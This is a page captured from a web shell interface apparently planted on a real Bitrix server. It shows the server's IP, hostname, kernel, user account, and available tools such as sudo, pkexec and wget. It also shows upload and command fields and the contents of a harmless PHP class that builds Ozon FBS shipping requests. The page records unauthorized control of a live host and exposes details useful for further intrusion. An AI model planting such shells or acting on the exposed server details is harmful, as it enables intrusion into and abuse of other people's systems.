403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wbs24.ozonapinew/lib/Api/Fbs/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wbs24.ozonapinew/lib/Api/Fbs/Ship.php
<?php
namespace Wbs24\Ozonapinew\Api\Fbs;

use Bitrix\Main\Loader;
use Bitrix\Main\SystemException;
use Wbs24\Ozonapinew\Api;

class Ship extends Api
{
    public function apiLaunch($data)
    {
        try {
            $result = false;
            $externalIdPropValue = $this->getExternalIdPropValue($data['order_id']);
            $shippingInfo = $this->getShippingInformation($externalIdPropValue);

            $needShippingInfo = [
                'marketplace_status' => $shippingInfo['status'],
                'products' => $shippingInfo['products'],
                'externalId' => $externalIdPropValue,
                'packages' => $data['packages'],
                'one_package' => $data['one_package']
            ];

            $exemplars = [];
            if (!empty($shippingInfo['product_exemplars'])) {
                foreach ($shippingInfo['product_exemplars']['products'] as $key => $product) {
                    $exemplars[$product['sku']] = $product['exemplars'];
                }
            }

            // функционал разбития на упаковки
            $needShippingInfo['packages'] = $this->filterPackageNumbers($needShippingInfo['packages']);
            $needShippingInfo['exemplars'] = $exemplars;

            return $this->runStatusChangeOnTradingPlatform('awaiting_deliver', $needShippingInfo);
        } catch (SystemException $exception) {
            $this->exceptionHandler($exception);
        }
    }

    protected function filterPackageNumbers($packages)
    {
        // сортируем товары по возрастанию упаковок, в которых лежат эти товары
        $sortedPackageNumbers = $this->sortProductsByPackaging($packages['products']);
        $filteredPackageNumbers = $this->removeGapsBetweenPackages($sortedPackageNumbers);

        foreach ($packages['products'] as $packageKey => $package) {
            $newPackageNumber = $filteredPackageNumbers[$package['id']] ?? false;

            if ($newPackageNumber !== false) {
                $package['packageNumber'] = $newPackageNumber;
                $packages['products'][$packageKey] = $package;
            }
        }

        $lastPackageNumber = end($filteredPackageNumbers);
        $packages['packagesCount'] = $lastPackageNumber;

        return $packages;
    }

    protected function sortProductsByPackaging($products)
    {
        uasort($products, function($a, $b) {
            if ((int) $a['packageNumber'] == (int) $b['packageNumber']) {
                return 0;
            }
            return ((int) $a['packageNumber'] < (int) $b['packageNumber']) ? -1 : 1;
        });

        $productIdsToPackageNumbers = [];
        foreach ($products as $package) {
            $productIdsToPackageNumbers[$package['id']] = (int) $package['packageNumber'];
        }

        return $productIdsToPackageNumbers;
    }

    protected function removeGapsBetweenPackages($productIdsToPackageNumbers)
    {
        $firstElement = true;
        foreach ($productIdsToPackageNumbers as $tempProductId => $packageNumber) {
            if ($firstElement) {
                $productIdsToPackageNumbers[$tempProductId] = 0;
                $oldPackageNumber = $productIdsToPackageNumbers[$tempProductId];
                $oldTempProductId = $tempProductId;
                $firstElement = false;
                continue;
            }

            $newTempProductId = substr($tempProductId, -1);
            $newOldTempProductId = substr($oldTempProductId, -1);

            if ($newTempProductId == $newOldTempProductId) {
                $productIdsToPackageNumbers[$tempProductId] = $oldPackageNumber;
            } else {
                $productIdsToPackageNumbers[$tempProductId] =  $oldPackageNumber + 1;
            }

            $oldPackageNumber = $productIdsToPackageNumbers[$tempProductId];
            $oldTempProductId = $tempProductId;
        }

        return $productIdsToPackageNumbers;
    }

    protected function getExternalIdPropValue($orderId)
    {
        try {
            if (!Loader::IncludeModule('sale')) {
                throw new SystemException("Sale module isn`t installed");
            }

            $order = \Bitrix\Sale\Order::load($orderId);
            $collection = $order->getPropertyCollection();
            $externalIdProp = $collection->getItemByOrderPropertyId(intval($this->wrappers->Option->get($this->moduleId, 'propertyOfExternalOrderNumber')));
            $externalIdPropValue = $externalIdProp ? $externalIdProp->getValue() : '';

            return $externalIdPropValue;
        } catch (SystemException $exception) {
            $this->exceptionHandler($exception);
        }
    }

    protected function runStatusChangeOnTradingPlatform($statusChangeMarketplace, $needShippingInfo)
    {
        $requestUrl = $this->getRequestUrl('/v3/posting/fbs/ship');
        $requestBody = $this->getRequestBody($needShippingInfo);
        $result = $this->createRequest($requestUrl, $requestBody);

        $message = $result['message'] ?? '';

        return !empty($result['result']) ? 'success' : $message;
    }

    protected function getRequestBody($prepareInfo)
    {
        $requestBody = [];

        // если разделдено на несколько упаковок, новая логика
        if ($prepareInfo['packages']['packagesCount'] > 0) {
            for ($i = 0; $i <= $prepareInfo['packages']['packagesCount']; $i++) {
                foreach ($prepareInfo['packages']['products'] as $product) {
                    if ($product['packageNumber'] == $i) {
                        $exemplarInfo = $this->getExemplarsForCurrentQuantity($product['product_id'], $prepareInfo['exemplars'], $product['quantity']);
                        $requestBody['packages'][$i]['products'][] = [
                            'exemplar_info' => $exemplarInfo,
                            'product_id' => $product['product_id'],
                            'quantity' => $product['quantity'],
                        ];
                    }
                }
            }
        } else {
            // Старая логика осталась не измененной
            $packageCount = 0;
            foreach ($prepareInfo['products'] as $id => $product) {
                $exemplarInfo = $this->getExemplars($product['sku'], $prepareInfo['exemplars']);
                $requestBody['packages'][$packageCount]['products'][] = [
                    'exemplar_info' => $exemplarInfo,
                    'product_id' => $product['sku'],
                    'quantity' => $product['quantity'],
                ];
            }
        }

        $requestBody['posting_number'] = $prepareInfo['externalId'];

        return $requestBody;
    }

    protected function getExemplars($productSku, $exemplars)
    {
        if (!empty($exemplars[$productSku])) {
            $result = $exemplars[$productSku];
        }

        return $result ?? [
            [
                "is_gtd_absent" => true,
            ],
        ];
    }

    protected function getExemplarsForCurrentQuantity($productSku, $exemplars, $quantity) {

        if (!empty($exemplars[$productSku])) {
            $result = $exemplars[$productSku][0];
        }

        $currentExemplarInfo = [];
        for ($i = 0; $i < $quantity; $i++) {
            $currentExemplarInfo[] = $result;
        }

        return $currentExemplarInfo ?? [
            [
                "is_gtd_absent" => true,
            ],
        ];
    }


    public function processAction($data)
    {
        $result = $data['result'];
        if ($data['result'] == 'success') {
            $this->OrdersState->setSuccessShip($data['external_id']);
        }

        return ['result' => $result];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit